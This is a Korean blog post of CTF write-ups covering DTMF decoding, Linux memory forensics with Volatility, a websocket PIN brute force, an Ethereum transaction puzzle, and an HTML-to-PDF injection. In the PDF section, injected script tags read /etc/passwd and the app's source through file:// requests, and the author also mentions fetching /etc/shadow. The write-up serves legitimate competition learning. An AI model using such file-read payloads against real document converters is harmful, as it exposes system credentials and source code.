반응형

 

Forensics

Sounds Familiar

 

dtmf

이건 너무 부정확해서 다른 도구를 사용했다.

 

http://www.polar-electric.com/DTMF/Index.html

 

DTMF Decoder / Encoder

DTMF Decoder is a very easy to use program to decode DTMF dial tones found on telephone lines with touch tone phones. DTMF Decoder is also used for receiving data transmissions over the air in amateur radio frequency bands.   The following are the frequen

www.polar-electric.com

result

0과 1이 많아서 키패드 알파벳 변환은 아니다.

띄어서 입력되는 부분을 고려하면

100 88 82 106 100 71 90 55 78 87 86 106 99 109 86 48 88 50 89 120 81 68 108 102 90 71 57 102 98 109 57 48 88 122 86 111 81 72 74 108 102 81 61 61

이 되고, 이를 ascii로 변환한 뒤에 base64로 디코딩해주면 플래그가 나온다.

 

dtmf decode -> ascii -> base 64

 

 


Forensics

IRC

 

memdump.lime.z 파일이 주어진다.

zlib compreesed data이므로 압축을 풀어주자.

 

 

압축을 풀고 strings와 grep을 사용해서 프로필 정보를 알아냈다.

debian 10.2.1-6 에 linux version 5.10.0-11-amd64이다.

 

volatility2 사용을 위한 profile을 create해야한다. 

환경 구성의 편의를 위해서 커널버전 5.10.0-11에 가장 근접하는 데비안 버전을 사용했다.

 

debian 11.0.0 amd64 iso 파일을 다운받아서 가상환경을 구축해준다.

https://ftp.cae.tntech.edu/debian-cd/dvd/

 

Index of /debian-cd/dvd/

 

ftp.cae.tntech.edu

 

apt install linux-headers-5.10.0-11-amd64

apt install linux-headers-5.10.0-11-common

apt install linux-image-5.10.0-11-amd64

apt install linux-image-5.10.0-11-amd64-dbg

디스크 용량은 15GB 이상 확보하자.

 

기존에 설치되어 있는 커널 버전은 remove 해준다.

 

 

 

https://github.com/volatilityfoundation/volatility/wiki/Linux 을 참고하여 프로필을 생성하면 된다.

 

GitHub - volatilityfoundation/volatility: An advanced memory forensics framework

An advanced memory forensics framework. Contribute to volatilityfoundation/volatility development by creating an account on GitHub.

github.com

 

/boot/System.map-<uname -r> 파일을 보면 

The real System.map is in the linux-image-<version>-dbg package

이렇게 되어 있다. apt install linux-image-5.10.0-11-amd64-dbg 를 한 이유가 real System.map 파일을 얻기 위해서다.

real System.map 파일은 usr/lib/debug/boot/ 경로에 있다.

 

생성된 프로필 zip 파일을 볼라티리티 overlays linux 폴더에 옮겨 넣는다.

hexchat이라는 irc 프로그램을 설치한 기록을 확인할 수 있다.

 

 

pslist에서 hexchat이 확인된다.

 

이제 irc password를 찾기 위해서 log 파일을 확인하면 password를 찾을 수 있을 것이라고 생각했다.

그런데 log파일들이 있는 경로는 알지만 정확한 로그 파일을 봐야하고 그 파일의 이름이 뭔지를 알 수 없었으므로

(linux는 filescan이 안된다. 정확한 파일의 절대 경로를 알고 있어야 한다.)

여기서부터는 게싱을 했다.

 

 

HxD로 메모리 덤프 파일을 열어서 hexchat과 utctf를 검색했고, P=blabla 문자열을 확인할 수 있었다.

utctf.live는 irc 주소, P 값은 irc password로 추측되었다.

 

해당 P값을 flag로 제출했다.

 


WEB

Websockets

어드민 로그인 페이지가 있는데 username은 admin이고 pw는 숫자 3자리라고 한다.

웹소켓으로 id와 pw를 전달한다.

 

파이썬으로 쓰윽


 

WEB

pdf로 변환을 해준다.

 

<h1 id='test2'>a</h1><script>x = new XMLHttpRequest();
x.open('GET','file:///etc/passwd',false);
x.send();
document.getElementById('test2').innerHTML= x.responseText+location.href;
</script>

 

이렇게 파일을 읽어올 수 있고

+location.href로 현재 경로를 알아냈다.

 

<h1 id='test2'>a</h1><script>x = new XMLHttpRequest();
x.open('GET','file:///usr/src/app/app.py',false);
x.send();
document.getElementById('test2').innerHTML= x.responseText;
</script>

 

약간의 게싱으로 app.py의 소스를 가져온다.

 

flag가 환경변수에 있는데, /proc/environ을 못읽도록 하고 있다. 그런데 필터링 우회해서 해당 파일에 접근해도 결과가 안나왔다. (언인텐이라서 이쪽으로는 못풀게 아에 막은 듯 싶다.)

 

/admin 페이지 로그인으로 플래그를 얻어야 하는데 unix계정 로그인을 하면 된다.

 

아까 passwd파일을 확인했을 때 WeakPasswordAdmin 이라는 계정이 있었다. 해당 계정의 패스워드를 구해서 로그인하면 될 것으로 보인다.

 

/etc/shadow 파일도 가져온다.

 

클리어.


Misc

https://ropsten.etherscan.io/tx/0xca78d2d51101fda93f3f8c62f4349dd23a7e5692cef667ab834c3611601f068f

 

Ropsten Transaction Hash (Txhash) Details | Etherscan

Ropsten (ETH) detailed transaction info for txhash 0xca78d2d51101fda93f3f8c62f4349dd23a7e5692cef667ab834c3611601f068f. The transaction status, block confirmation, gas fee, Ether (ETH), and token transfer are shown.

ropsten.etherscan.io

 

그냥 이더스캔으로 컨트랙트 생성 트랜젝션의 인풋값 보면 된다.

반응형

'CTF Write Up' 카테고리의 다른 글

RITSEC CTF 2022 Write up  (0) 2022.04.02
LINE CTF 2022 write up  (0) 2022.03.27
Codegate 2021 Quals Write Up  (0) 2022.02.28
ASCTF 2021 문제 풀이 및 출제 후기 - Forensic(5), Misc(1)  (0) 2021.11.24
Killer Queen CTF 2021 write up  (0) 2021.10.31

+ Recent posts